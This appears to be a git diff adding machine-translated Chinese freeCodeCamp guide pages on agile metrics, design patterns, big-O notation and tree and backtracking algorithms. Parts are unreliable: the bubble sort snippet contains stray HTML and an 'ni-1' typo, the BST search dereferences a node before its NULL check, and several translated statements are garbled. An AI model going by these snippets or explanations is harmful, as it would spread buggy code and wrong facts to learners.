+虚荣是外观与质量的价值，虚荣指标是在没有上下文或解释的情况下用于使某人或某事看起来很好的测量。在“ [哈佛商业评论”](https://hbr.org/2010/02/entrepreneurs-beware-of-vanity-metrics) （ [Harvard Business Review）上](https://hbr.org/2010/02/entrepreneurs-beware-of-vanity-metrics)发帖的埃里克·里斯（Eric Ries）表示，衡量标准应具有可**操作性** ， **可访问性**和**可审**
+
+![虚荣指标](https://i.pinimg.com/originals/d4/ea/9a/d4ea9ade0de05a5707e11b325a37d5fb.jpg)
+
+例子：
+
+*   注册用户与活跃用户
+*   接受的用户故事与交付给客户的价值
+*   Twitter粉丝与转推
+
+![价值至关重要](https://blog.kissmetrics.com/wp-content/uploads/2012/01/increasing-pageviews-flat-revenues.png) _图像通过kissmetrics_
+
+#### 更多信息：
+
+关于[Actionable vs Vanity Metrics的失败](https://fizzle.co/sparkline/vanity-vs-actionable-metrics)
+
+关于[虚荣指标的](https://hbr.org/2010/02/entrepreneurs-beware-of-vanity-metrics)哈佛商业评论
+
+福布斯[忽视虚荣指标并专注于参与](https://www.forbes.com/sites/sujanpatel/2015/05/13/why-you-should-ignore-vanity-metrics-focus-on-engagement-metrics-instead/#1342fdeb12a9)
+
+kissmetrics [扔掉虚荣指标](https://blog.kissmetrics.com/throw-away-vanity-metrics/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/velocity/index.md b/client/src/guide/chinese/agile/velocity/index.md
new file mode 100644
index 0000000000..54f78ba6b6
--- /dev/null
+++ b/client/src/guide/chinese/agile/velocity/index.md
@@ -0,0 +1,13 @@
+---
+title: Velocity
+localeTitle: 速度
+---
+## 速度
+
+在Scrum团队中，您可以确定每次迭代结束时的速度。它只是时间框内完成的故事点的总和。
+
+拥有可预测的，一致的速度，您的团队可以放心地计划您的迭代，可持续地工作，并使用经验数据预测每个版本中包含的范围数量。
+
+#### 更多信息：
+
+Scrum [速度](https://www.scrumalliance.org/community/articles/2014/february/velocity)联盟
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/voice-of-the-customer/index.md b/client/src/guide/chinese/agile/voice-of-the-customer/index.md
new file mode 100644
index 0000000000..6efb09d1ed
--- /dev/null
+++ b/client/src/guide/chinese/agile/voice-of-the-customer/index.md
@@ -0,0 +1,14 @@
+---
+title: Voice of the Customer
+localeTitle: 客户之声
+---
+## 客户之声
+
+作为产品负责人（PO），您是交付团队的客户之声。当团队需要澄清故事时，为了更好地理解什么和为什么，他们会问你。  
+您可以了解客户在项目长度变化时的需求，动机和预期结果。
+
+#### 更多信息：
+
+[产品负责人的](https://www.scrumalliance.org/community/articles/2014/july/who-is-your-product-owner) Scrum联盟
+
+[产品负责人的](https://www.agilealliance.org/glossary/product-owner/)敏捷联盟
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/algorithm-design-patterns/behavioral-patterns/index.md b/client/src/guide/chinese/algorithms/algorithm-design-patterns/behavioral-patterns/index.md
new file mode 100644
index 0000000000..a274bef7df
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/algorithm-design-patterns/behavioral-patterns/index.md
@@ -0,0 +1,31 @@
+---
+title: Behavioral patterns
+localeTitle: 行为模式
+---
+## 行为模式
+
+行为设计模式是识别对象之间的常见通信问题并实现这些模式的设计模式。通过这样做，这些模式增加了执行此通信的灵活性，使得软件更可靠且易于保持。
+
+此类设计模式的示例包括：
+
+1.  **责任链模式** ：通过包含逻辑的处理对象处理或传递命令对象到其他对象。
+2.  **命令模式** ：命令对象封装操作及其参数。
+3.  **解释器模式** ：实现专门的计算机语言，以快速解决一组特定的问题。
+4.  **迭代器模式** ：迭代器用于顺序访问聚合对象的元素，而不暴露其底层表示。
+5.  **中介模式** ：为子系统中的一组接口提供统一接口。
+6.  **Memento模式** ：提供将对象恢复到其先前状态（回滚）的功能。
+7.  **空对象模式** ：设计用作对象的默认值。
+8.  **观察者模式** ：又名P **ublish / Subscribe**或**Event Listener** 。对象注册以观察可能由另一个对象引发的事件。
+9.  **弱参考模式** ：将观察者与观察者分离。
+10.  **协议栈** ：通信由多个层处理，形成封装层次结构。
+11.  **计划任务模式** ：计划以特定间隔或时钟时间执行任务（用于实时计算）。
+12.  **单服务访问者模式** ：优化分配的访问者的实现，仅使用一次，然后删除。
+13.  **规范模式** ：布尔方式的可重组业务逻辑。
+14.  **状态模式** ：对象在运行时部分更改其类型的简洁方法。
+15.  **策略模式** ：可以动态选择算法。
+16.  **模板方法模式** ：描述程序的程序框架。
+17.  **访问者模式** ：一种将算法与对象分开的方法。
+
+### 来源
+
+[https://en.wikipedia.org/wiki/Behavioral\_pattern](https://en.wikipedia.org/wiki/Behavioral_pattern)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/algorithm-design-patterns/creational-patterns/index.md b/client/src/guide/chinese/algorithms/algorithm-design-patterns/creational-patterns/index.md
new file mode 100644
index 0000000000..c683137218
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/algorithm-design-patterns/creational-patterns/index.md
@@ -0,0 +1,21 @@
+---
+title: Creational patterns
+localeTitle: 创作模式
+---
+## 创作模式
+
+创建设计模式是处理对象创建机制的设计模式，试图以适合于该情况的方式创建对象。对象创建的基本形式可能导致设计问题或设计的复杂性增加。创建设计模式通过某种方式控制此对象创建来解决此问题。
+
+创作设计模式由两个主导思想组成。一个是封装有关系统使用哪些具体类的知识。另一个是隐藏如何创建和组合这些具体类的实例。
+
+五种着名的设计模式是创作模式的一部分：
+
+1.  **抽象工厂模式** ，它提供用于创建相关或从属对象的接口，而无需指定对象的具体类。
+2.  **构建器模式** ，它将复杂对象的构造与其表示分开，以便相同的构造过程可以创建不同的表示。
+3.  **工厂方法模式** ，允许类将实例化推迟到子类。
+4.  **原型模式** ，它指定使用原型实例创建的对象类型，并通过克隆此原型来创建新对象。
+5.  **单例模式** ，确保一个类只有一个实例，并提供一个全局访问点。
+
+### 来源
+
+1.  [Gamma，Erich;理查德，赫尔姆;约翰逊，拉尔夫; Vlissides，John（1995）。设计模式。马萨诸塞州：Addison-Wesley。页。 81.ISBN 978-0-201-63361-0。检索2015-05-22。](http://www.pearsoned.co.uk/bookshop/detail.asp?item=171742)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/algorithm-design-patterns/index.md b/client/src/guide/chinese/algorithms/algorithm-design-patterns/index.md
new file mode 100644
index 0000000000..53dcf526fe
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/algorithm-design-patterns/index.md
@@ -0,0 +1,27 @@
+---
+title: Algorithm Design Patterns
+localeTitle: 算法设计模式
+---
+## 算法设计模式
+
+在软件工程中，设计模式是软件设计中常见问题的通用可重复解决方案。设计模式不是可以直接转换为代码的完成设计。它是如何解决可在许多不同情况下使用的问题的描述或模板。
+
+设计模式可以通过提供经过验证的经过验证的开发范例来加速开发过程。
+
+这种模式分为三大类：
+
+### 创作模式
+
+这些是处理对象创建机制的设计模式，试图以适合于该情况的方式创建对象。对象创建的基本形式可能导致设计问题或设计的复杂性增加。创建设计模式通过某种方式控制此对象创建来解决此问题。
+
+### 结构模式
+
+这些是通过识别实现实体之间关系的简单方法来简化设计的设计模式。
+
+### 行为模式
+
+这些是识别对象之间的通用通信模式并实现这些模式的设计模式。通过这样做，这些模式增加了进行该通信的灵活性。
+
+#### 更多信息：
+
+[设计模式 - 维基百科](https://en.wikipedia.org/wiki/Design_Patterns)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/algorithm-design-patterns/structual-patterns/index.md b/client/src/guide/chinese/algorithms/algorithm-design-patterns/structual-patterns/index.md
new file mode 100644
index 0000000000..7a18799372
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/algorithm-design-patterns/structual-patterns/index.md
@@ -0,0 +1,29 @@
+---
+title: Structural patterns
+localeTitle: 结构模式
+---
+## 结构模式
+
+结构设计模式是通过识别实现实体之间关系的简单方法来简化设计的设计模式，并负责在不同类之间构建简单有效的类层次结构。
+
+结构模式的示例包括：
+
+1.  **适配器模式** ：将一个类的接口“调整”为客户期望的接口。
+2.  **适配器管道** ：使用多个适配器进行调试。
+3.  **Retrofit Interface Pattern** ：一个适配器，可以同时用作多个类的新接口。
+4.  **聚合模式** ：Composite模式的一个版本，带有聚合子项的方法。
+5.  **桥接模式** ：将抽象与其实现分离，以便两者可以独立变化。
+6.  **墓碑** ：中间“查找”对象包含对象的真实位置。
+7.  **复合模式** ：对象的树结构，其中每个对象具有相同的接口。
+8.  **装饰器模式** ：在运行时向类添加附加功能，其中子类化将导致新类的指数上升。
+9.  **可扩展性模式** ：aka Framework - 隐藏简单接口背后的复杂代码。
+10.  **Facade模式** ：创建现有界面的简化界面，以方便常见任务的使用。
+11.  **Flyweight模式** ：大量对象共享一个公共属性对象以节省空间。
+12.  **标记模式** ：将元数据与类关联的空接口。
+13.  **管道和过滤器** ：一系列进程，其中每个进程的输出是下一个进程的输入。
+14.  **不透明指针** ：指向未声明或私有类型的指针，用于隐藏实现细节。
+15.  **代理模式**一个类作为另一个东西的接口。
+
+### 来源
+
+[https://en.wikipedia.org/wiki/Structural\_pattern](https://en.wikipedia.org/wiki/Structural_pattern)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/algorithm-performance/index.md b/client/src/guide/chinese/algorithms/algorithm-performance/index.md
new file mode 100644
index 0000000000..ca19b8eb80
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/algorithm-performance/index.md
@@ -0,0 +1,93 @@
+---
+title: Algorithm Performance
+localeTitle: 算法性能
+---
+在数学中，big-O表示法是用于描述和比较函数的_限制行为_的象征。  
+函数的限制行为是函数的行为方式，因为它趋向于特定的值，而在大O符号中，它通常是趋向于无穷大。  
+简而言之，big-O表示法用于描述函数的增长或下降，通常与另一个函数有关。
+
+在算法设计中，我们通常使用big-O表示法，因为我们可以看到算法在最差模式下有多么糟糕或不好。但请记住，情况并非总是如此，因为最坏的情况可能是超级罕见的，在这种情况下我们计算平均情况。现在，以免欺骗大O符号。
+
+在数学中，big-O表示法是用于描述和比较函数的_限制行为_的象征。
+
+函数的限制行为是函数在趋向特定值时的行为方式，而在大O符号中，它通常随着趋势向无穷大趋势而变化。
+
+简而言之，big-O表示法用于描述函数的增长或下降，通常与另一个函数有关。
+
+注意：x ^ 2相当于x \* x或'x-squared'\]
+
+例如，对于所有x> 1，我们说x = O（x ^ 2），换句话说，x ^ 2是x的上限，因此它增长得更快。  
+对于所有x> _n，_ x = 0（x ^ 2）的权利要求的符号可以用x <= x ^ 2代替所有x> _n_ ，其中_n_是满足权利要求的最小数，在这种情况下为1。
+
+实际上，我们说函数f（x）是O（g（x））比g（x）慢得多。
+
+相比之下，在计算机科学和软件开发中，我们可以使用big-O表示法来描述算法通过其时间和空间复杂性的效率。
+
+**空间**算法的**复杂性**是指其相对于输入大小的内存占用。
+
+特别是当使用big-O表示法时，我们描述了算法相对于输入的效率： _n_ ，通常当_n_接近无穷大时。  
+在检查算法时，我们通常希望降低时间和空间复杂度。 o（1）的时间复杂度表示恒定时间。
+
+通过算法的比较和分析，我们能够创建更高效​​的应用程序。
+
+对于算法性能，我们有两个主要因素：
+
+*   **时间** ：我们需要知道为我们的数据运行算法需要多长时间以及它将如何根据数据大小（或在某些情况下其他因素，如数字位数等）增长。
+    
+*   **空间** ：我们的记忆是最终的，所以我们必须知道这个算法需要多少可用空间，以及我们需要能够跟踪其增长的时间。
+    
+
+以下3种符号主要用于表示算法的时间复杂度：
+
+1.  **Θ表示法** ：theta表示法从上方和下方界定函数，因此它定义了确切的行为。我们可以说，当最坏情况和最佳情况相同时，我们有theta符号。
+    
+    > Θ（g（n））= {f（n）：存在正常数c1，c2和n0，使得0 <= c1 _g（n）<= f（n）<= c2_ g（n）对于所有n> = n0}
+    
+2.  **Big O表示法** ：Big O表示法定义算法的上限。例如，插入排序在最佳情况下采用线性时间，在最坏情况下采用二次时间。我们可以有把握地说插入排序的时间复杂度是_O_ （ _n ^ 2_ ）。
+    
+    > O（g（n））= {f（n）：存在正常数c和n0，使得对于所有n> = n0，0 <= f（n）<= cg（n）
+    
+3.  **Ω表示法** ：Ω表示法提供算法的下限。它显示了该算法最快的答案。 >Ω（g（n））= {f（n）：存在正常数c和n0，使得对于所有n> = n0}，0 <= cg（n）<= f（n）。
+    
+
+## 例子
+
+例如，我们可以检查[\[冒泡排序\]](https://github.com/FreeCodeCamp/wiki/blob/master/Algorithms-Bubble-Sort.md#algorithm-bubble-sort)算法的时间复杂度，并使用big-O表示法表达它。
+
+#### 冒泡排序：
+
+```javascript
+    // Function to implement bubble sort 
+    void bubble_sort(int array<a href='http://bigocheatsheet.com/' target='_blank' rel='nofollow'>], int n) 
+    { 
+        // Here n is the number of elements in array 
+        int temp; 
+        for(int i = 0; i < n-1; i++) 
+        { 
+            // Last i elements are already in place 
+            for(int j = 0; j < ni-1; j++) 
+            { 
+                if (array[j] > array[j+1]) 
+                { 
+                    // swap elements at index j and j+1 
+                    temp = array[j]; 
+                    array[j] = array[j+1]; 
+                    array[j+1] = temp; 
+                } 
+            } 
+        } 
+    } 
+```
+
+看一下这段代码，我们可以看到，在数组已经排序的最佳情况下，程序只进行_n次_比较，因为不会发生交换。  
+因此我们可以说冒泡排序的最佳案例时间复杂度是O（ _n_ ）。
+
+检查阵列顺序相反的最坏情况，第一次迭代将进行_n次_比较，而下一次迭代必须进行_n_ - 1次比较，依此类推，直到只进行1次比较。  
+因此，对于这种情况的大O符号是_n_ \* \[（ _n_ -1）/ 2\]，其中= 0.5 _n_ ^ 2 - 0.5 _n_ = O（ _n_ ^ 2），因为_n_ ^ 2项主导了函数，这使我们能够忽略函数中的其他术语。
+
+我们可以使用\[这个方便的大O作弊表来确认这个分析，它具有许多常用数据结构和算法的大O时间复杂性
+
+很明显，虽然对于小用例，这个时间复杂性可能没有问题，但是大规模的冒泡排序根本不是排序的好方法。  
+这是big-O表示法的强大功能：它允许开发人员轻松查看其应用程序的潜在瓶颈，并采取措施使这些更具可伸缩性。
+
+有关为什么big-O表示法和算法分析很重要的更多信息，请访问此[视频挑战](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care) ！
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/avl-trees/index.md b/client/src/guide/chinese/algorithms/avl-trees/index.md
new file mode 100644
index 0000000000..2a6dd13dd6
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/avl-trees/index.md
@@ -0,0 +1,52 @@
+---
+title: AVL Trees
+localeTitle: AVL树
+---
+## AVL树
+
+AVL树是二叉搜索树的子类型。
+
+BST是由节点组成的数据结构。它有以下保证：
+
+1.  每棵树都有一个根节点（在顶部）。
+2.  根节点具有零个或多个子节点。
+3.  每个子节点都有零个或多个子节点，依此类推。
+4.  每个节点最多有两个孩子。
+5.  对于每个节点，其左后代小于当前节点，该节点小于正确的后代。
+
+AVL树有额外的保证：
+
+6.  右子树和左子树深度之间的差异不能超过一。为了保持这种保证，AVL的实现将包括在添加附加元素时重新平衡树的算法将扰乱该保证。
+
+AVL树的最坏情况查找，插入和删除时间为O（log n）。
+
+### 右转
+
+![AVL树右旋转](https://raw.githubusercontent.com/HebleV/valet_parking/master/images/avl_right_rotation.jpg)
+
+### 左转
+
+![AVL树左旋转](https://raw.githubusercontent.com/HebleV/valet_parking/master/images/avl_left_rotation.jpg)
+
+### AVL插入过程
+
+您将执行类似于普通二进制搜索树插入的插入。插入后，使用向左或向右旋转修复AVL属性。
+
+*   如果右子树的左子节点存在不平衡，则执行左右旋转。
+*   如果左子树的左子节点存在不平衡，则执行右旋转。
+*   如果右子树的右子项存在不平衡，则执行左旋转。
+*   如果左子树的右子项存在不平衡，则执行左右旋转。
+
+#### 更多信息：
+
+[YouTube - AVL树](https://www.youtube.com/watch?v=7m94k2Qhg68)
+
+AVL树是自平衡二叉搜索树。 AVL树是二叉搜索树，具有以下属性： - >每个节点的子树的高度最多为1。 - >每个子树都是一个AVL树。
+
+AVL树检查左侧和右侧子树的高度，并确保差异不大于1.这种差异称为平衡因子。 AVL树的高度始终为O（Logn），其中n是树中的节点数。
+
+AVL树轮换： -
+
+在AVL树中，在执行插入和删除等每个操作后，我们需要检查树中每个节点的平衡因子。如果每个节点都满足平衡因子条件，那么我们就结束操作，否则我们必须使其平衡。当树由于任何操作而变得不平衡时，我们使用旋转操作来使树平衡。
+
+旋转操作用于使树平衡。有四种旋转，它们分为两种类型： - >单左旋转（LL旋转） 在LL旋转中，每个节点从当前位置向左移动一个位置。 - >单右旋转（RR旋转） 在RR Rotation中，每个节点从当前位置向右移动一个位置。 - >左右旋转（LR旋转） LR旋转是单个左旋转然后单个右旋转的组合。在LR Rotation中，首先每个节点从当前位置向左移动一个位置，然后向右移动一个位置。 - >左右旋转（RL旋转） RL旋转是单右旋转然后单左旋转的组合。在RL旋转中，首先每个节点从当前位置向右移动一个位置然后向左移动一个位置。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/b-trees/index.md b/client/src/guide/chinese/algorithms/b-trees/index.md
new file mode 100644
index 0000000000..fb54a31c48
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/b-trees/index.md
@@ -0,0 +1,15 @@
+---
+title: B Trees
+localeTitle: B树
+---
+## B树
+
+# 介绍
+
+B-Tree是一种自我平衡的搜索树。在大多数其他自平衡搜索树（如AVL和红黑树）中，假设一切都在主存储器中。要理解B树的使用，我们必须考虑大量的数据，这些数据不适合主存。当键数很高时，以块的形式从磁盘读取数据。与主存储器访问时间相比，磁盘访问时间非常长。使用B-Trees的主要思想是减少磁盘访问次数。大多数树操作（搜索，插入，删除，最大，最小，..等）需要O（h）磁盘访问，其中h是树的高度。 B树是一棵肥胖的树。通过在B树节点中放置最大可能密钥，B树的高度保持较低。通常，B树节点大小保持等于磁盘块大小。由于B-Tree的h值较低，因此与平衡二进制搜索树（如AVL树，红黑树，等等）相比，大多数操作的总磁盘访问量显着减少。
+
+B树的属性： 1）所有叶子处于同一水平。 2）B树由术语最小度't'定义。 t的值取决于磁盘块大小。 3）除root之外的每个节点必须至少包含t-1个密钥。 Root可能包含最少1个密钥。 4）所有节点（包括根）最多可包含2t - 1个密钥。 5）节点的子节点数等于其中的键数加1。 6）节点的所有密钥按递增顺序排序。两个键k1和k2之间的子包含范围为k1和k2的所有键。 7）B-Tree从根增长和缩小，这与二进制搜索树不同。二元搜索树向下生长，也从向下收缩。 8）与其他平衡二进制搜索树一样，搜索，插入和删除的时间复杂度为O（Logn）。
+
+搜索： 搜索类似于二进制搜索树中的搜索。让要搜索的密钥为k。我们从root开始，递归地遍历。对于每个访问过的非叶节点，如果节点有密钥，我们只返回节点。否则，我们将重复到节点的适当子节点（就在第一个更大的键之前的子节点）。如果我们到达叶节点并且在叶节点中找不到k，则返回NULL。
+
+穿越： 遍历也类似于二叉树的Inorder遍历。我们从最左边的孩子开始，递归地打印最左边的孩子，然后对剩余的孩子和钥匙重复相同的过程。最后，递归打印最右边的孩子。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/backtracking-algorithms/index.md b/client/src/guide/chinese/algorithms/backtracking-algorithms/index.md
new file mode 100644
index 0000000000..262051897a
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/backtracking-algorithms/index.md
@@ -0,0 +1,53 @@
+---
+title: Backtracking Algorithms
+localeTitle: 回溯算法
+---
+# 回溯算法
+
+回溯是一种通用算法，用于查找某些计算问题的所有（或某些）解决方案，特别是约束满足问题，逐步构建候选解决方案，并在确定候选不能时立即放弃每个部分候选_（“回溯”）_可能完成一个有效的解决方案。
+
+### 示例问题（骑士游览问题）
+
+_骑士被放置在空板的第一块上，按照国际象棋的规则移动，必须完全访问每个方块一次。_
+
+###路径跟随Knight覆盖所有细胞 以下是8 x 8单元的棋盘。单元格中的数字表示骑士的移动数量。 [![骑士的旅行解决方案 - 由欧拉](https://upload.wikimedia.org/wikipedia/commons/d/df/Knights_tour_%28Euler%29.png)](https://commons.wikimedia.org/wiki/File:Knights_tour_(Euler).png)
+
+### 骑士之旅的天真算法
+
+朴素算法是逐个生成所有游览并检查生成的游览是否满足约束。
+```
+while there are untried tours 
+ { 
+   generate the next tour 
+   if this tour covers all squares 
+   { 
+      print this path; 
+   } 
+ } 
+```
+
+### 骑士巡回赛的回溯算法
+
+以下是奈特巡回赛问题的回溯算法。
+```
+If all squares are visited 
+    print the solution 
+ Else 
+   a) Add one of the next moves to solution vector and recursively 
+   check if this move leads to a solution. (A Knight can make maximum 
+   eight moves. We choose one of the 8 moves in this step). 
+   b) If the move chosen in the above step doesn't lead to a solution 
+   then remove this move from the solution vector and try other 
+   alternative moves. 
+   c) If none of the alternatives work then return false (Returning false 
+   will remove the previously added item in recursion and if false is 
+   returned by the initial call of recursion then "no solution exists" ) 
+```
+
+### 更多信息
+
+[维基百科](https://en.wikipedia.org/wiki/Backtracking)
+
+[极客4极客](http://www.geeksforgeeks.org/backtracking-set-1-the-knights-tour-problem/)
+
+[一个非常有趣的回溯介绍](https://www.hackerearth.com/practice/basic-programming/recursion/recursion-and-backtracking/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/binary-search-trees/index.md b/client/src/guide/chinese/algorithms/binary-search-trees/index.md
new file mode 100644
index 0000000000..09f1ec5143
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/binary-search-trees/index.md
@@ -0,0 +1,269 @@
+---
+title: Binary Search Trees
+localeTitle: 二叉搜索树
+---
+## 二叉搜索树
+
+![二叉搜索树](https://cdn-images-1.medium.com/max/1320/0*x5o1G1UpM1RfLpyx.png)
+
+树是由具有以下特征的节点组成的数据结构：
+
+1.  每棵树都有一个根节点（在顶部）有一些值。
+2.  根节点具有零个或多个子节点。
+3.  每个子节点都有零个或多个子节点，依此类推。这会在树中创建一个子树。每个节点都有自己的子树，由他的孩子和他们的孩子等组成。这意味着每个节点本身都可以是一棵树。
+
+二叉搜索树（BST）添加了以下两个特征：
+
+1.  每个节点最多包含两个子节点。
+2.  对于每个节点，其左后代节点的值小于当前节点的值，而当前节点的值小于右后代节点（如果有的话）。
+
+BST建立在[二进制搜索](https://guide.freecodecamp.org/algorithms/search-algorithms/binary-search)算法的基础上，允许快速查找，插入和删除节点。它们的设置方式意味着，平均而言，每次比较都允许操作跳过大约一半的树，因此每次查找，插入或删除都需要与树中存储的项目数的对数成比例的时间， `O(log n)` 。然而，有时候最糟糕的情况可能发生，当树不平衡时，所有这三个函数的时间复杂度都是`O(n)` 。这就是为什么自平衡树（AVL，红黑等）比基本BST更有效的原因。
+
+**最糟糕的情况示例：**当您继续添加_始终_大于节点之前的节点（它的父节点）时会发生这种情况，当您始终添加值低于其父节点的节点时，也会发生同样的情况。
+
+### BST的基本操作
+
+*   创建：创建一个空树。
+*   插入：在树中插入一个节点。
+*   搜索：在树中搜索节点。
+*   删除：从树中删除节点。
+
+#### 创建
+
+最初创建没有任何节点的空树。必须指向根节点的变量/标识符用`NULL`值初始化。
+
+#### 搜索
+
+您总是开始在根节点搜索树并从那里向下移动。您将每个节点中的数据与您要查找的数据进行比较。如果比较的节点不匹配，那么您可以继续使用右子项或左子项，这取决于以下比较的结果：如果您要搜索的节点低于您要比较的节点，你继续前往左边的孩子，否则（如果它更大）你会去找右边的孩子。为什么？因为BST是结构化的（根据其定义），正确的孩子总是比父母大，而左孩子总是较小。
+
+#### 插入
+
+它与搜索功能非常相似。您再次从树的根开始并递归下去，搜索插入新节点的正确位置，方法与搜索功能中说明的相同。如果树中已存在具有相同值的节点，则可以选择是否插入副本。有些树允许重复，有些则不允许。这取决于具体的实施。
+
+#### 删除
+
+当您尝试删除节点时，可能会发生3种情况。如果有，
+
+1.  没有子树（没有孩子）：这个是最简单的子树。您只需删除节点，无需任何其他操作。
+2.  一个子树（一个子树）：您必须确保在删除节点后，其子节点将连接到已删除节点的父节点。
+3.  两个子树（两个子节点）：您必须找到并替换要删除的节点及其后续节点（右侧子树中最常用的节点）。
+
+创建树的时间复杂度为`O(1)` 。搜索，插入或删除节点的时间复杂度取决于树`h`的高度，因此最坏的情况是`O(h)` 。
+
+#### 节点的前身
+
+前置任务可以被描述为在您当前所在节点之前的节点。要查找当前节点的前一个节点，请查看左子树中最右侧/最大的叶节点。
+
+#### 节点的后继者
+
+后继者可以被描述为在您当前所在节点之后的节点。要查找当前节点的后继节点，请查看右侧子树中最左侧/最小的叶节点。
+
+### 特殊类型的BT
+
+*   堆
+*   红黑树
+*   B树
+*   Splay树
+*   N-ary树
+*   Trie（基数树）
+
+### 运行
+
+**数据结构：数组**
+
+*   最坏情况表现： `O(log n)`
+*   最佳表现： `O(1)`
+*   平均表现： `O(log n)`
+*   最坏情况的空间复杂度： `O(1)`
+
+其中`n`是BST中的节点数。
+
+### BST的实施
+
+这是一个BST节点的定义，它有一些数据，引用它的左右子节点。
+
+```c
+struct node { 
+   int data; 
+   struct node *leftChild; 
+   struct node *rightChild; 
+ }; 
+```
+
+#### 搜索操作
+
+每当要搜索元素时，从根节点开始搜索。然后，如果数据小于键值，则在左子树中搜索元素。否则，搜索右子树中的元素。对每个节点遵循相同的算法。
+
+```c
+struct node* search(int data){ 
+   struct node *current = root; 
+   printf("Visiting elements: "); 
+ 
+   while(current->data != data){ 
+ 
+      if(current != NULL) { 
+         printf("%d ",current->data); 
+ 
+         //go to left tree 
+         if(current->data > data){ 
+            current = current->leftChild; 
+         }//else go to right tree 
+         else { 
+            current = current->rightChild; 
+         } 
+ 
+         //not found 
+         if(current == NULL){ 
+            return NULL; 
+         } 
+      } 
+   } 
+   return current; 
+ } 
+```
+
+#### 插入操作
+
+无论何时插入元素，首先要找到其正确的位置。从根节点开始搜索，然后如果数据小于键值，则在左子树中搜索空位置并插入数据。否则，在右子树中搜索空位置并插入数据。
+
+```c
+void insert(int data) { 
+   struct node *tempNode = (struct node*) malloc(sizeof(struct node)); 
+   struct node *current; 
+   struct node *parent; 
+ 
+   tempNode->data = data; 
+   tempNode->leftChild = NULL; 
+   tempNode->rightChild = NULL; 
+ 
+   //if tree is empty 
+   if(root == NULL) { 
+      root = tempNode; 
+   } else { 
+      current = root; 
+      parent = NULL; 
+ 
+      while(1) { 
+         parent = current; 
+ 
+         //go to left of the tree 
+         if(data < parent->data) { 
+            current = current->leftChild; 
+            //insert to the left 
+ 
+            if(current == NULL) { 
+               parent->leftChild = tempNode; 
+               return; 
+            } 
+         }//go to right of the tree 
+         else { 
+            current = current->rightChild; 
+ 
+            //insert to the right 
+            if(current == NULL) { 
+               parent->rightChild = tempNode; 
+               return; 
+            } 
+         } 
+      } 
+   } 
+ } 
+```
+
+二进制搜索树（BST）还使我们能够快速访问前辈和后继者。 前置任务可以被描述为在您当前所在节点之前的节点。
+
+*   要查找当前节点的前任，请查看左子树中最右边/最大的叶节点。 后继者可以被描述为在您当前所在节点之后的节点。
+*   要查找当前节点的后继节点，请查看右子树中最左侧/最小的叶节点。
+
+### 让我们看一下在树上运行的几个过程。
+
+由于树是递归定义的，因此编写在树本身上递归的例程是很常见的。
+
+因此，例如，如果我们想要计算树的高度，即根节点的高度，我们可以继续并递归地执行，通过树。所以我们可以说：
+
+*   例如，如果我们有一个nil树，那么它的高度为0。
+*   否则，我们是1加上左子树和右子树的最大值。
+*   因此，如果我们查看一个叶子，例如，那个高度将是1，因为左子的高度是nil，是0，nil右子的高度也是0.所以最大值是0，然后是1加0。
+
+#### 高度（树）算法
+```
+if tree = nil: 
+    return 0 
+ return 1 + Max(Height(tree.left),Height(tree.right)) 
+```
+
+#### 这是C ++中的代码
+```
+int maxDepth(struct node* node) 
+ { 
+    if (node==NULL) 
+        return 0; 
+   else 
+   { 
+       int rDepth = maxDepth(node->right); 
+       int lDepth = maxDepth(node->left); 
+ 
+       if (lDepth > rDepth) 
+       { 
+           return(lDepth+1); 
+       } 
+       else 
+       { 
+            return(rDepth+1); 
+       } 
+   } 
+ } 
+```
+
+我们还可以考虑计算树的大小，即树的节点数。
+
+*   同样，如果我们有一个零树，我们有零节点。
+*   否则，我们有左子节点中的节点数加上我们自己的1节点加上右子节点中的节点数。所以1加上左树的大小加上右树的大小。
+
+#### 大小（树）算法
+```
+if tree = nil 
+    return 0 
+ return 1 + Size(tree.left) + Size(tree.right) 
+```
+
+#### 这是C ++中的代码
+```
+int treeSize(struct node* node) 
+ { 
+    if (node==NULL) 
+        return 0; 
+    else 
+        return 1+(treeSize(node->left) + treeSize(node->right)); 
+ } 
+```
+
+### 关于freeCodeCamp YouTube频道的相关视频
+
+*   [二叉搜索树](https://youtu.be/5cU1ILGy6dM)
+*   [二叉搜索树：遍历和高度](https://youtu.be/Aagf3RyK3Lw)
+
+### 以下是常见的二叉树类型：
+
+完整二叉树/严格二叉树：如果每个节点只有0或2个子节点，则二叉树已满或严格。
+```
+           18 
+       /       \ 
+     15         30 
+    /  \        /  \ 
+  40    50    100   40 
+```
+
+在完全二进制树中，叶节点的数量等于内部节点的数量加1。
+
+完整的二进制树：二进制树是完整的二进制树，如果所有级别都被完全填充，除了可能是最后一级，最后一级是尽可能保留所有键
+```
+           18 
+       /       \ 
+     15         30 
+    /  \        /  \ 
+  40    50    100   40 
+ /  \   / 
+ 8   7  9 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/boundary-fill/index.md b/client/src/guide/chinese/algorithms/boundary-fill/index.md
new file mode 100644
index 0000000000..8ce95fb0f1
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/boundary-fill/index.md
@@ -0,0 +1,43 @@
+---
+title: Boundary Fill
+localeTitle: 边界填充
+---
+## 边界填充
+
+边界填充是计算机图形中经常使用的算法，用于在具有相同边界的闭合多边形内填充所需颜色 所有方面的颜色。
+
+最接近的算法实现是基于堆栈的递归函数。
+
+### 工作：
+
+问题非常简单，通常遵循以下步骤：
+
